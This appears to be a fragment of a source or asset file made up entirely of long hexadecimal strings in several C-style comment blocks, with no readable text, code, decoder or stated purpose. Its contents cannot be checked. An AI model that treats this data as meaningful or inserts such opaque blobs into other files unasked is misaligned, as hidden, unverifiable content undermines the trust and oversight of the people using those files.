81c4948444e247693eadd98b0c30ead6554f4903b8b86e1ddfcdf7c7a5e97a7c3f41f23c1db1b57fdb0ce406a4f4c6cd73fd4a41f213e22eb6685f8bfac6ce72f0a37890b44b04c5209dfdfe096d3b8ed025b461e7640c7c92cc3bb96f4515f6903cf2fbd528a3212b3a01154b93429db21aa0c1bdfa194a730d17667e9a3c46097f03adcf562a3fbf7c60407d2d79ad3aebd91484493ac7c5f6374d81e6dbce4d2b017ed5c995b68833c76901de7d172623ae3dce5032f99c4fd01f85b3a6cdf25960ad0138e8352fb81b337ca003b7c53cafe051e491466f217319b25fe8f9c2ce3ba0db479550586f0a84fbf9057322c86415b6a20605f227ebc88b6279d6e52f89bcdd3fc4e562a820bc319160bb697f3b8576f815b318eaf98bdef7bac66f87c1fd7684d36dd6394153be87587ba16e231ee4f58ba8cd49a6d528fce54f28d19b8fdf1e72b51c38bf7c8f2c655ae97b3a2e1f0a9273bdd83aea8fddc7e187a24ea58e11ca2c41f52c7d9e86c8818762aebd089413e25b70c524c4116d500d0d741f19b017c755408fc6eb8422fd24454ba650ae3be85990360761f7a296da2f5188d9762d9e61e7b7d83c06ec87a549555bc2dd85b8becb78442c89f0c8e599d59e2415ee75f75293fb4935ace098f37a106ca5e510ade8c10a803b711eeaec3e5d4a24a4c70df35f70df60f3131faab731b0e7bfd0e*/
/*a9537dfaf27fb427a9617ca329448c63f21e2362949692be2a101daf20044895aa9d2dae6d47605c4d8b5abc17f8bbb92e3a2d7ed30d916a0cda8b9e0cfc9376b4be101e69891ec1aa2b44a6eed7ee7f56e3f938992bac1b929fa688c1e02dc3787c4df4ca5d35eb0e15272da381a6b57e129bb20c36c6b6a09464c520f92d46a46eb01b45a2d786cf12889e6d02feb2b54322ac9cffc039468403ebe83924b47bc6497bd4eb7320151ca4ab905f54203e092e9e385ac27e6d8007044f5a019b20e89696cb170b046a13454b872854c0a98edd06a0b8bd9e03bb39a870c2c7403ced941688956c044bceb92dc79e46f8f8c9b09cd7cc3bd2bee0a154c8199c74a712300bae7300ef009dbc1198579c72c15d356ef1fa9bba46aae99d7bb2b17c460f925a9c123c500a59a126ee432a4852474917519e0b074ef0a9834b2b1baea180c15a1c4ae96b2557ce800bdf0e309e7ad8e05f4f54b7ffa6574da56209a4cd229e3a3cd7342915d0dffb11fdf2f97d077ae7cddd707fc810e8225e7af1745fef0c8c62b85bfe9c5b92d94367d8114fb87032cdf0132a4fcd696a9565b10dd931d205f75216c9730685847510b2a26c61e2a518b9611ef7a13cc4c876172799d499325b1cc9baa57b804dd88134547a60e34e45396db10c3d0e30ec4f98a24a3586c0a8790529e47dc78143358ab4713bd786e5d3d4aa56687f71e92f8e65e18af3b985ea29c4310931851484584e3cc4425c27e358957a29b3a0a76abbc52c7e7ad76cd9aabc1e2404385e4f5a72bb5aa778ccb8702b34289deadfc740d34ec62f558593b622d56627b6d16e760e3a37c8ac20eb63a4eca9eac6845628cb6cde4bd9b624ecfeeaf00a0caa0c8f9bb1be13fb5c9b469f21dee52ca3cf9caceecf4b598eae872758a43cbe4db905b4defce43cefd9ac22ed68b4cd91e361f6fe488eb2bb77c698667e09e5bb5d1bf2ae7d1f9bdde41a785a2fdb20951273d05eade29be0ddfe868106af0eddbd56e91b9ffd46fde8afd8ff6fdddec86ca156d7d8246b4e3befcffb17f80e08853bca6e19dfbc8302c56889ef1cfa37ee09f4c1fb1577905bfec6747656e8a2c88b9978dfbb083c4fb9cbb8c3b4a470cf5e26865327c369bc32d38e2d13f0974444945a995a27a302d586fbd590621d51cce9459fffb0e393c2071793f0bee14a28c69dd3ccc3912aa09a464c413561ef76d3eff3df3a203b5d1368b77cff358faa3e3d68f5800a06c1df1b1a21e0adb3ce76c1ad72db512d5a169c04f4e699b6e2ab4baa968a61cc8ce4d9f07c008b9ce94502016bc1ae5aa6d425de69e81428768b2a34c36fadcf0158bd10a961137b8fa0065db4602653a4112aea88918ee673f1b366c1c666039b24c4a0469cf0ebe6bf1b34864138de73539d12d953961046843b22ef5b3f7a79c23c94ed3db145e32a8bf78a8fb10b45af25821d4aabe1ae673269eb00ada25b0c17cce9bc116eaeb87e8152625007e2cfae77cce90f57adcf8c757ff316547c6329474e2fcd02c7b3b3ce9445307e1afb06ea95de0b989151711fba723aa730b0c430d530bf88a0ba4a75864f06267c33d734b1757081c610576630924037264585eaa5c9075ad8190410c31a393951dcf1cb5124a9efc9633ddc7afae5ad569a62eaaacc41fa7ed4edeedd955753bd594b76d08f9e2ac5e22c62f324e202b70fd18cddf26904346c45491c39ec0cff9cc2dd721dfbca240bf35f2ce050c9f977f8cc5377567b0430c79f0da2480f073e12904fb879868d0ef7b75ef79fb05e263ec636bccb689db084c152f2550e9c1d0a25a08e35738dcd6a8d33089f5242c363fa1ac1f314c83abd55cc038b152b3e40b579563488d70e67f4726fde085e6f620ccae58cb6cb5600097dfb4fe486ca9353e35acd17403999b60c19040ceb998cfde2c73aff54386bc3f0def6a01d9a20dd6f5200a2ea6921478e23e8115599f25524df7f02344d0ce945dff4357a6c8756bd469925de93ab5225e4e55c98eddb6db869430e9ab0e4786e39a62641bf14b731b501a7bfce6f7bf797aa716fa8f3fd4a58f6e27f7f38c75224ac49cc687ca348101fe5cfe49a305e939b7f032161af5239a2927d176c01ef98839dc98bd2b51664c389293a1ad77849eafa98f9339ab2913c0fbf1fd8d37f80d4a43c700ab5c7e87c96b46733e1ebd27ab7f560e486df0e2764af5582f7d278202bce97b354b73179eab38c4773ebb5f627ea363b6119c309dde4890f2e29f588ecc526f6c5a95c032959cbb2f779e36827fa2a98505c31f7bb0ff73896a4b60851a76475eb145363f6f5f3883f179a945f99462f1caa58f94186d5dede9140c2461746ac29cd0e4db85d82df1f7f473e3a8c05d3201acbfb0eec057ccf1f57b12aecd310ccbc258b5ea63d6bcffcb9e2dee2c622d6e215fd94c1ee737b27b71c1035f6f6177d8bf647d32d5086c6b50cdbe5992b3abf9f422a461a6d9aa8b0ab2b55d9a0d6a2507596661eb817d2a6bb1efb43c804fea50152a12ac097e85d1d85184c2e21b7384c8a632ae6e3df2972c06c669150c454dd735e8c1eb69923a009b0991745553bcfc25e74d4f2cade78bdf9864e2f79cb85321d5b4e5903f4893fc776d54a9c1a53ee62c78ef916b6c773472ac6b83a0c7bcf5b9401ca418136c208b0ddb82414748e43c5f19b5e5bcb06038940d5a99894073c6aec5161cd018abaf5997bd013a1a09bc49c02d947c9916ee0d29c7f900b2089827804d2054c345c703ce5439fa7a138b68ab87d6c4d92fca3918f9db0e164000ce4f8ec4bd7d106815fec81930a59348a*/
/*e6064075e70f549cad9fc102396b86acae8fa46611d330794f8fd165d31164bc291416a49498a32756cac1e5c97f4e365a9f1fa936462cacd4480a3102337f5154f87e63447bc13f600f292c3e8e4c170b4599c6388c82cc07096b560bfa04c86c8ff7228e12ad30702aca858440daca842f6b1b7d172a7a88015cb1582d527c4f66794b63d778eb7e8a03bad983fb735336ba1bd7dda9dadbf8b9f2ac62e0eacdd8463a79e057f84b6e41d9afb8ee86742496472ec91bc9ef3546b86c4ae159365483c007c82d4e82936f3eed366df97114d7f8b40973a6f2410db07d61101cfb460c241ce5d1e92bd0cabe8d4f07e320d5bae3f313ab83326207d2c467923de88999cd3065586bcf1fce2f21e254ab4f2678f8077c655023b3f287682f74e95642e1b7995cdbbfea9f9e8e493aeaf0273aec37661ce76d90e136e28fbaa741abe1605d343d31a05adc37c9b74ef9540f6f97b98aa54db7b14e88f08f1f866dded54e1e07f40b49a2083277816f154ed11b25fd1bc1b78806b654c0ae5b944a592e03d251c6b199cc0a5c0d295e4b49c4290ab7b458e1a4c042183ea4cec580214509d0d2f1d980aa688f95caebed00a3798d182f3567db9a0e2bc5a6a123e21b74e36f4c9793462d4dda16370ceaff86c4f322913ec330ec2eaeea8a04149366813b1081598a43bc693837c1b9fa437a66774b88a321d1bb9027eae73c88690e8a14f5d70ed66a2464a55143cb9ea9f5211fc0fce7589ea0abe717beca9e8c785da7f0e8687528634c5cfb5b2f87b4969c1722571a72a1c1df549c8e968fd39b718e25e59c009842ef823fa5a7d0a8a60b617d49d3d8a965cf73926a564409a4a7b77154727e193f1679de13dc5ab26a713857c32345ebddaf1fdffb2d6370736fbe6c90724c62d06d2ee325e570d56315c3586b1cae888f145c49229cb2a09f59aa4009487387cfdfcee9ea4bcb70e509836739effbd9b36eb43c2da5d76fd13159953a5f5d6eb0e43fabf93fa2d7f3578f567629a65babcfcaeea2d24dc8379a0ab2f71c7cb154cc452a847aa483a67ec457eac0a719023e4c248d3065b2c28668364a05ec6cbf275aff1926a08185bef3cf1185dad824ec1b478caa6019ffde925f6a609898df9cbd97d9450c7e9bde47b6529d61137ca43fc27276c9225eff94eacc47ae3ccc8a3b3a4319fad4dcd5f2f4d9b6f8605aefd9fbc72c17ab0904398cb4b9de2f4225eaae19f0fc6908896a8899b2742d1cd1d19dbbe6e1cf47cf580d9c211211ef94172af9f3429d7213a578ca40395085ec3210a7994a36d1308f90c839ad671bcff547fbf412b9086a19e371e32111ad36becb781a46e69d666063cbd4cff4de9a35f54679ae4ab0bbdab1d34f3653d2099614ba0ebc2b831252fd598ce040c1683ca2e785c45be06b901110dee59bc421886704650465b68138d61b692ad260c545fc61a2b042e786a995c74ff459f363eff363bd59c86f52050cd32b1dadf57294444e587b03d59b6dd905da96db3ee911df4d0f2964dc9ef62987eb592ec227bc9175be6fd14828965d70c89b2dfe847e9ec67c3c71a25201dcfe56d862af71360fff4106e624e27f2d4ae75c94d6dd269ac3616ec12033928e2fe1301dbac090d66fd143e05eb89272321935794b5117e0025402817ca5a306bdf88763e5719c777af78b1c767e9543ffcf4b2125819d8aac7cb58dff1399d04ef26f8d00d3225641199125860269b6df0025ac796b013946caad93e315b0e495a9f554ab90b570d009c1174c910020305967fb00faf5097c4e58678ed6c367b1a81c64006287461b8a0f3869eea31420d4372c117de59d13e775b8e249bb5c7a2c111098417bf8f22dd7a5d73a01726220bfc694eb5927f67a720582c6eaaba2e59a887b556721ef4cd5e220080cda15b7f7bc13c65aba5bed7a189fb4dd9bd8d92e4fd80961a96182a9be98e7bcc54efc5d4fc8c293d86b05e387496c6e8779d1ab88401f1f83998380280f21507b5d9e68a1049aa56509c2e7f78f38a3f47a62cac034c2730e5400ad200a54bc795b64202b4c3672d2c2884c8277f52c1272bb9aa802c504d67a7542b5f5eda1d99d8b5721a2bbb0bffb0cd9f20358814ed12232c33458f84da0dddd376a47fabfeb174e9b54e498adacb31cfac8bdca7fbfddfb7b58a64c6ce24cbeb75083d3ded88f97ca2e18c66f1d7aa3891df39f76c4c85a8196211d8135aea6bef7dda17141d04c09823414fa55bd099579139c4f52dda7d80166c8de971a96b44fef6df1f585d23e3650efe7f92e040eb7491daa20364f4a53fbd0a0c925ce21cc64ab309491b9082e2696110387d4a0920962c4f981a81baf1354969ed8101bae330d9c5d614f5fbdbd5137019a598bac280f2c3f7ad9441b554ac6a4a0a362277b64a205dd01679689ae90dca5ccaab3fef8ebaab61bb858b695dbb34763db7da443a7a52c34d1d1890caa61dccd139654eb41f7cf4ae954affadb65b0b56adc20b6e3061f07336616cfd267253a3e4784002e3b5fb82607be9df19ba07e04990f5409997936ff2f75a3c05cccf58d8cd32489531f66b659a91844c16a4a7bd16850e02ce74074a26288c90718f9601865ef357fee0fdfe1dbe0929cd5d4028154671ba89eec4e6de32b7fe253bde8caa160dc801285649eb4f9c1f67e3ccd7260417b28f804e61cec68fe917fb0c5079f915c89eb2f7dd9078e47d79c5cdbfeb6b93160471284f0bf3f4aa8c519b54487ac9a9173b3f1a94eda85027cb9a467aa26d5047c034ea4fa36ffa1b53c23e13e4c79bd3a2c4b3e6fd36cd98fd6b8*/
/*87fcc5d72cd942f8415b2df1f76de3153f04b4266f8140781c78bcb0943c5de31bc5fe5fffb26561e8e549297ddce68107cd931c94e6c9b4fba398f4aef0cc8564f8f84a8745366750264f89870692d05ed134fb1470ea4a17f12f3fc79e78ed9b9bb6320b7af4997e48f8790566e7081999dc6e5294c26b080db8441bed77266347383bbe791c7c08244069412de0ffa6aad26c61b532763aaa42a52c37a35f6825106516dbd340fb274637987d48f6a5c2b3e8152a2a0bb5d1a565e2d1bd67cff5b9451e72392245d116b3ef610e4edb714e1b935ace1b0a2230bb6af4d3ab7811e23d6fb54183abb0c4bdf8c740e0848345029268b68074e8ca5293c284d21d0560ccbdd426d794ef68baec257209179f3816f16a00ef2911c0e3ab8faa3c5dc3fde7da20f9b3b4ab7512233577ac2bab6e522bc0d0d9cc387797611cb95cc397ea59d5307d64a9924e29bbd3045854b70388ae5418339994deffc2a30150cdf4ab047d89059e1a451f2da8f88484f80eb44bb82709b36663e26dbd862e7a28a7fc295342eac14e54d30b911149596295505373a4a945fac3bd35ca5b27b8ca84e096b05bebb4d6fecfba74bbeb14610ac3992f4d786d33b003fbe8589f7d15c794964ebea4fd848c18e688aaa2268ac02e25296bad8041ba9859935a560a36de1f86d64e0f95042490c256fe77567262e0c65c796669fa303be34bd1f2a3a16ff5e67cca970a69ccc45b95ffffcefb643082dd44fe55f30d70cd733c61ae2ccf9f21a3928b0f8f0ed3dd628597a0f02040714b39018d70dd98e9a745ce4a367d8e2fcc97e1d3ee63a18d047bcbfb5e72479943890aa38a62468a97c78e3ad8af22308dc8fc1369b5319feeca564edd01a3a3f49713ec8ac8d5408bbc9935c3f416909eb4ccf2d5b6eb5981e7e5690d11f5ac522304e16c2abc9f08ad79a423d62d075e5f13fdcbcf54c111081c1d0ef9358571219b3f3525926dad2f4e5bc8c95e5a90e3edbc76642d385275d46ee1a7b574815ff6329bf1c42799fe85b526abecf28452dfe62486bc2b95aa3a263017fbf8e2c574fe73709b55e568fdb49092d18ecb72aa69e1fd717085a5eab9ad5ceb42037ed364613bc19d3d3646f0e2e0288e9d8e477f5264ffa46cbf0f8ef69a58fa28dedd043305118f38cfd5a4b854bead1bdb184d1eee263188e2a9a9594b62cb99c7f59705f3eae089a5424158b4c5c9deab49fc1e1838c4ab52ca71eb2772c89a92f2c62260dade0c12b92b28c8dd32534013d56af190cbd81f671be0eb1c16bd7011c9a274e2e6947a503699c6316d6941b82265106a830188df9cda49ddc190a2e746a00093c3f15ae85aaf9e53dc907f8f1a75f09923e148071e05fb6a6e1647e4e3092cf56ee822a531cfc72e9e02c8f70da118c354d5c792e6cf0e32f00b952d3bfa96ca12020e88c3e8213fb3bfa42c475ce890dc7bbe4f4490ea488c0c3537bb7c6353d82c0675cd06c22d3b912a47cda308d5c54c8c058e3303c95320866258f08988098514d84219b37ca3ea9787229b9dbdd708a425bbd4b99167521f28cd72e4f3d0823efea106bbb241cdcae92b465cca9995d06400288415494f70ce9a17dd8841f0ad2abeb8660aa3923a8d66f6ec4a2f7d08923bae55d341ae857e31b361f8882563e2e004b3d9c254827489f6f089fc7fb95efb9d7c3287de2e418bddc6e67885c93d45fa1d1669243839406cf33cde32ffb94329d0b131189ac80cd2075d39fc20bbf0d3adbf341d08844e4d7a6159be1be15380084ccc0c813f894adc662efd6e980bebd113ed54247709c71e9afba8d26437751da1823f67e8e6f7ed5a318a6f4c35059725ef9007819b9930df5ec207592e8778acdcde240c7a57293cf880a80de1b0046bd9fdadf0c05d33ab46e11f0385f58b55ca3af3e7c3ccf65e1bd378c55fc9584fba2aae37113858d021cf1910d57be29ddc37f968ee0a6890900ccd4082b2b17dee92a034167577532c5cafbd450f42fe312e900e203647915b5b965e755b724c9838da09f519c19b64753ab2f8ac35a8a02a2a0d3431ed63e6f221dfdaa41130d31a606d9b9b381f3da307d86dbe617313ed2c16edf1b116c9c211e21171e127ee651f810a68e8814cfd26d1b98290f9f369d2c792f6d2460b53dd1a8dac0ea670bce28158c260f41c28626a858ab46b3880e501601e7f461b3ee1501fcd64150298c0935ba815581255b952992d5d268d42746a74e8170bcfcc9c62329e010b7dbc45f771cbd6c68162c68a34352a7d654891e2d1a5931d53f63c75e472a5b0b21121101a620ab6eeb4170c2af9390a56bf2c3e2e2787bda18c8d0ef16107cb02976fd3c589f40934658302a4c1b07a40768c5a9ecbd80bb66aaa432a26da9d060feabde1a67d69aa11ac1d3eb879b7efc67c6705ddb820c440518c5264f13bdf49f09d6948ebc391bc6aa9db8b1220e449e98a65ae3a6a0853dff2b21c77602d5dfdd09da30ec7efe7444098e1940f192dd6eb099b97ac732310624e6434afaefb5af2599f545e1e6c79c5f7ddada421ad83a883b866450e7272ffa886aff4f42301ad6188eb033bf7bc22c9c8749f52e608555958c12fc2823e77bbd4e31e06b3dcd72b9a67fb6768be48d680834880382e1aa852e199957d1e30be69c5faa14390dac6094f10222dc27f333343814daad1111dbe4dea4ed30de9316a9062b232fd8a4dd6b83ee617ea62e08ad494d7bf3e0c1274f3b1e53f5317da89d5fb73ef3e34b1490b2d8b3a8b4eee8438e9060fe1d0e1345ce3dbb276e07278f095c1ab44937c87d7d211da376a16*/
/*e945970433a719b58dc9ad920319b10d2e048cc6d48319a9d8b9313452b77e449d0a0d421ae6240f4aa7be533f65a02ce9d9205acfae698c3b6266a0f7d22d3f26fde5bf0e1c9403c64886b5fb4c68c851a78fa724b2a780c845fe6ff3217b54e5accd0e632c8ee5d34f7de44cab79d57c4a0a4f17b9f7070a45d52c5f1ea338ba0218c2784b93e47633731d7bbec1410851a9f8c18ca1bc18fe596b4b75d0f97eadaef89de8bdb097c38b4694c53701debb6ebafc89801b52e4c6ae0dee6831ad5082355165f9588f573423772c204e86325a39121e51d90e39a2f84284483071773de81a3f3194febd13ded941db5d3980e10c7aceae7b7afbb0a748c9ea32dc6371918db8b3f07a5fc9de0c562862601848aab1a1e53c33ecac668a9a0a3badb49a00bc789e08f24308c5a1644316233e62b04276e23442e64dc3ba36c7db48c28a5888259722ea957c2fbc1cd231c191f0b663b0ce217ac19dad8defe0016cf435c52ea6f76a1c0b06a8cfe824f16f800582c5c75e0dd913e1eb5e1743266b40515a8151d15fe6d945555dadf3695837ca2079e753264a99d9fcaefc6e056140052a60d2da2a832286f44104c9b1e746e286edbb55aee11c71ec78b651d6e322b761065233d097fdd2cccbd11c02f96e47903052e0f8e1316d043dc6d529d58d34f9013f38041221013d715e2a3897c6cd664efa4dd5ba83271c2da10ce601d25c5e52eb1e20683c8ab38c8267f0d38fb975fabbcf868b1ef395b2cf4fd1b7b466d9a0c590afd5e9881a4ac5e8835eff3a104e2be3b1e27bb1a40d70955b13759da9424745d614b2bdff3d530b847f568a5283ca5f1c07dd9ff1e2eab135b1aaec8783bb1ba25d8184763b17a0a33a673f9f3d4b85c5a54c3d665736cb9b0e5a71fb5b2f8162a75e4feeafb1ea1d85c0f506ac5c4616f3906d933077749ce1a1296cf186f021b96220bf72e07630acd6d644737a8b45a4ad92723053816ef4a9e3207f5d3705ef50dc252bd9d4699873864e5b1fa59a924bdc63c7c9fe39c173670458f52c7e61d6c545751a35db0fe0c80711e6839218efd0b7c96fdd36be63d25213c75eed7de2516a547fec6cf5dcb6b38efd428cb648aa6e10ca1220f79eafb43af8ed8e752affeff1837d8a12de76f683ca86acabfc0d7ee476609eca3444d31a7e0b493b2055b380f0bf4a119d05fdad2391d13238549daeb421fa88b320e3cc3111f4dd1d0ae4f1270b8a06e38b156c0d9a8b596cd3abb1fa7ba9f5e58ea5c9976114eb3186e8a391ae8f6ce6164524651709350d66c7bdcd07bc8e72b7b8e931b1484e19944dd53a44f148d2b85659273cc9a999b61f75e05a7ff1341330962dbd9cfbe64c4c94a574b5fc70650137a206fd4326a3dc82b8b8792434eb3e071f5f6d1d642de232722f5bbc73c0665b8d5a8382370928ec1359a68e057eb67ed55b5119d6f27d7051f0b738f96a30de4272061acb949fc28f4f59c6146d20a3795d02c757e1f3c48eed920c19778db562e3ea50be836e50a6f3f98a1995cbec9e45f1472e4859d7d3f621f0a785abd5de40d072cda4b5b0c55112f002aa115f218b135626f6d1bf56f4383d7abb6f5acac56787b7aba724bde5bfd6e3d2837a0fae74c0d4c03e798990b3b26b8a38bc2aa2758ebe2d8820135e4101586c7a32b5b5b0637bd30e8a5f5f8b21ba9cb51742684b04ca0fa360a538ddc3d28a3a9b35b8c72be219cdf7d091ae805bfc8d7319afde02b301776db68d47f7d3925774e26d0940893a7da71651d900049c1f1b0492bd30c8778f17863e0d5129c16c1d06a57beca8d29e22c14b094c6c747d52ca3f9983bfd6d1f5bcbbca37e3dbf05a30e69cde8b672e5d876f21eed7b7f4d6c09458e986aee66065f92096a4a13ed7529c64699b9899dbbd7f7fc9272af02d0a543fea9f72ed509fbcd01702a513319ba22ccf791158a05fab0c763618cc39ca101431bdf812abb2a6cb800417489a0e91780b74735bf84996c6b5d73a11c9db660d88e07961a9066f31156b21aca498ff25ab11e48ee57c4b127ae4f241a6cc67b0e37bce4a13c5865d7830b589bc9a3c03b98d2241dfad213f3c755ff59055b31b534834c4d651052c868b6bb46ad9af62b75d8789fc924eb5bc6d934ebb032f587335e54634aa37eaa6b3563c25a176ac64823e0af15da42c74a771c37a969368ae5dbc2d349e27351cc3d971f239202df0bf59fed4f4630782d316abcf9a1d44b2bec5bdb8dd092b244673ef6ae4aa3366c7fb508728e9141c6ef365df0155558d26cd0ef49c91404b8c094e8cea81d02fc3510da5ae49d3e5c472f7d7ddf874ece896f0d0447ed97f48aa56f032497ea1204f0d233fa9f4897d42845b05d24992a9bcbe39fd131667573f840198e6e71d55a22ed71a6ab6daad0c5b66612a0dfe270748ce6b307cf91e48d5f275f46695cc8ebb3d4490c3c05f3d3318ee47d904a297a06d8c4d32fce1b2d17e048595707cb7222ec924380919eb4963ca9e162156de75f55adb70ca1207481948d441bcd04ae709efd57b3c6f43349e5a0e9dd090f89395932367fa0f107c16a410d0eb810fb1342ea24332f04450c120f58bc0ce9f6cfcb93ab4869f8d074a00bcf2f222de613937939c2b57f78d78e379f3dbc8c729eeeb897b03273fbdec12fbd70e48ccd90cf01194e9eee00bba7131529bb1c4d93f518c32a07b61feeb1bdaa1da138595b5a2291766d243bf32a8dd802a8b505dc1659f563a33dc4df43c330f756a4bfb71de8fe69802dad94da07cf8a3a9aab762d172f7cb690221a85d8c3a3bb2ae05e8156279*/
/*d1e2457babfe9ab48a694307a1d639c9d7c69f7074ca0aa3022b68d6efc4db2eb877ffcf5c779f753ff644738e1799137ce71f254807255b8b14165abcffdd15ede583a28d733484cf07ad3c315d61862952cb38e5d2c83b10ee43d09afa7a3e0ad1a77ad130e638224e1a2ae20fdf9210860f6869044da4c63a42cff4af141e63753ee7c8d06d38be0db253f69f59acc03ad571808a4079fc8536ebedbbedf61ea2c5bea45b2ee31cd50a93bc6083f11fb188bb899f60a76e4498feb80669f18817beb172b62ac944ce3776f796fef3507417b4f70023b46f3d4a951d614950fd0d47a16f67457122b98938e2471359a98012efaeaf8bd41ef4899f0a6f5a02a416566a916878ec8452173385da80837011c21742bc2562cd070973038b6efa4289427c1f9d1ac90fcf7e4369c3ea4a8980f770aaebc5453528fd30ffa0d0d793723251e1e168591c5769a8b3a8711f88c874a02cc721267b2ae59613463572049aab8decf4b9f1939ea7087bf122ffb7909bbc5556033cf07ed4ef28691ed41a8dcf39805adcda08e0db8bd36e39b4fcec13182d6a113f18bdc99f981b5a148097ac73ad67fc862fdb1fce9c4da3faf5b4d2478686c39f3b28e9651077c1a8dc5b0813297748a35cbe60c22a3f688b94f6e00be65161dbf41c8f0d60f749e4f704f6c3e63e6d1530258716d0ed15ce51afda6d6e9ba625b8835a5b00a9131fb4558031a26078d76615ceda8296aa55cda610edbe78a266444a2725ee6dadbf9bfec25c036da504883cbfe647c2df3dcbbdc3adbf6c7d85efebba71505995ee9e159fcb178490319bfd33da3d49f10c69e707c9977214b2ca9176a77e3e758065c64f3ad9f16cb86787a9c9ae4d21f04d7620ccb00a127f90ba5b5ee42298aa3a2e6592239da44725b628cfb73c06dcb471806ccfffdb2362c05a40531891e168454f65accc1e4e2935d98190688f3bdc671877c1194647fdf91f0ce18338cf0af21703f000943a4081b6f4c5460bc7e6cee592fdbbca6518a6d3a8c9bae697a3adf97977316be56a20b6df4322182f44ac9fae473a320d0cb649d6740a862ea996dcc4861c55d1ade3b297673d79f815802389cd3a05b7c301b8fbd9f5560baf564a116d75605838f3cbad7780238d281a22aa8eaced7d75984880bdc0e3978f5ed3158a9ebe5835b73337f8befb5ff080ff54c8070839e1d69a9a6755665176e35c9032dd00df66992f95c9db1af29072c3824b63eef0da520e6b02038bbb3b33f65f214787ad06e5971ff63d36526089ed2d1df242f8caa67220d616ace75163cb4bd8273a5509e39d66ecf783ca65a5bd5052fa2c8d24448217e34bb2651a5230dc189a3af387c3b85b79b91041ec82de6864a2c669059ffba23671c8ea69f0ef0fbcb15e64ccbf086cce9df89932190c5e145223051626a11252b80a536e85a976ef2bc620d6464ea552e48ba06d665f305b641fa3b320fdec50bc1eef96591069b285a90058000052d0459ec1cf8f8124808d8ed12bdab86baa3720e60f266100e3dcbab8d00aaaeb612efe09e383c2de2cc1d40b570777e7d65ffbbbfd12f5b173a0b4f7627e30a0aca0fc661d85a6e8a8a02566dd568113489302f2dd0bd92a28e6dab5bf4fddc1c71b6e924775b53c0cfb82c997defe877f7380adf1747e209695c5c2897a7e9f939c55f9223ec6da0923c114e58ebb98471285e71d7d8a11ea77edd317dc127e8ee7410c9ab10924eaee79228289e9910f261afb7f91d8b71047f92ca83155bdebd9bbf45ca5f95a4eff5247e91240aa8cb5be86925702702a96ae82c282d0215607cd1434bc48b1faadfa39bb1f00d3a6a77c96fac8080edde22bf95cce324612b425495b9f61e0692317c7e81ef8921079c4b8583fd7bb25f85253fecbef342eb42149aa3d703ab32dd3f29ac32f1b87c9454b5a1ce53b8984b9a353a65559576213f901a14a38a3e1f67877b83225ad9c77ad76d3a689c88b1a4e70bf959d7b64ff5534deceaeebdb5a8ca84e0b1b8ed2c61f133142a33e791e889db3cdad7eedca3e8f1a46d146ac516b86bac463a61f44651ad13b76697c7ec8f529cd996b24a82c9bd163de6e08ad824b8ffa03277ed0a1758b8acb0a3cfc60f998dda46de1a340a4f98dcc64afd9178922f552c161e99366f89fe487ac2e37bd934187736d6f5908c5e4bc48ab9710149c6bb905fbf5c1855b697bd8f64d9e032d8b88f361fc855711349e9c0bb755d2e16e38e1f83ad781d6676e1443dd0158d1fe8a4dd25f64e1301373db46221b94c2e177c8423476ebf38064e5912b8daa527d39701d540cf16e51d10618af35372aae235f2e69d90263a9db703da5c85dc5aa4604e63d07567038bfdc5c51c1d27fb9214e969d17c5c21fb0927bd7af2ce3271ba6ff723bbda9147dcef26c682cde16e2da0883e497a7c5e74effd7bc537f4beddb003d177fb077d7a05151fa8f2773c6011591d88e79f1c81003d8a7f5913e130c12f23021727c743635464bfa9a7e48cbcd165cc710f2018baeaf62d3828119244b3c5abcd6d42920657c3c54f36fcbabcadd3855915528ea1e6e85d070e0a3a9221a06f20199a21ea85dd411afc4890f24d1d77e0db8d1eb2d28699440f96447ddfd47f84401c61e286e750b72335fb78ec5a586cfc98403aac6da11a2e434d5d4fd879f4c09595e3ab8ecebbf813c920c9b0d7d57f7fc99f2179a9bc4db98463a046ef7bf732fcefbfd3f0ff456af1716c6691e5e570cd33702d34ee2fc01835bc502bc129635455a7dda8f69db8cd559479c467241f34db637d56edafd9464786ce1*/
/*14764bf6b62947aa75f9428ff31eb100ba35752def7ef372a26eb5a665cd6a63784dc64f3d76b57bc6f0d80287aabe618c744bff10160cef71052a6807ceb0fd6a2bbf9746c631b743468c1250be8ce4bf7668673805005af77b783f1f38229207fdc0ff2befcf17a06cfbb9eab5307936acf8143caabe0829f0ebe354ace893fa08e86b32bbef3825cb1b834a1b4e8d35b961a083b61dbe5f7c7f7bdb5c8efe4fe1ba464dbfcb5524e4ff4430e47f3504245c593114db4e621c7309311acd549888d7a826b062fab4a625d6ecfae86843badcaee34c91487601a9c97e1d30448e846f8dc568ee2e1bdace396779a9a4456a3b1e17e3140b6175ed42ca2e925d3cd51ec5eed6b568dd10e00f1a8992e80f6cff4b63f50e0dbd52912d386136d56a4c7d04a45993db2d44198a56fbf2efae74a5b429380a420affc783dfba21229e1a0f4468eb9ee8762543bddffe7edea7f6b840a0cefb8e7bdfa92805d7a97f799ae997a025f9134a4fb795a9621e8fbaa1b38d59d0ca35620ccecc06eadeb1d362ddd776913018dd3d56ea188352dd0ef9df78b5d3dc3921c26838d5b7ac606485e6b6a49343e89ea902c40d18c3adb0bb0feb496e81d678e469bae15d309cdbac6682442f49f7e409f5b8f57404733abea579d0b23549d0a256a4cf46f03d3ca5ee393e75f7b07374aa2c8d1c23f46083358171e236f103be3a351aff6b6e670b6088b323672e1849f192344b23bad3ca30db360df9d5c9267e9d94487585de02295ac4b902e7eb3b0ab519f16bd7e470cc30b77ae5053d51f63de24395985584bcd92df241468409e5676ed70432093544bb2d49de11454f7d07af44637c839b8c12a3251fc73eec4958ba73b2e7cb4286c05cc2653e2af26c386cfe6b3c7186b23193fffa6b89b42e3a8ae3aca7629ae2e4201532810eb2b539526d82e15d4b16e1a80d279b47e73ffb389a7392713519c19a97cda0e6212a3193f4a41a536be9aa6f0af22712e84845d9dcc0f190293b72175e0cf478534a63d65fc6c57c1638e65fc12a18a932577c7da7f1e9860131aecf4a8bb59e8a846155a7fd26331792a25b2cd5917b6b956660a9611f7142ed47093034a3885d72c19253570d12f5448ff315f42f330850187635710993faf755e77fd56b2156492f347c07606a19d7ba75e43950d66a7d18ebf788115f531f30ee8e642e6f1c2909bf419eb9c978ff75fafdc44ca7338f3711f9d11e9cc4cc59237402f84e3c20a42fa8d3004eff43d6472b125f47b53a1a6583c3f36a3160da4e594f4c0044f5df72a61b976d1b4d2e51ceb95c22685d20ec1d0410c8e3b9bfbadbab1c245bf8c402d64cc6cd4a5deaaecc5b8ec3192f477e20ee46b7e431902694638eea0ecd59bd2fe497f28c1d992764011230ab6f9fd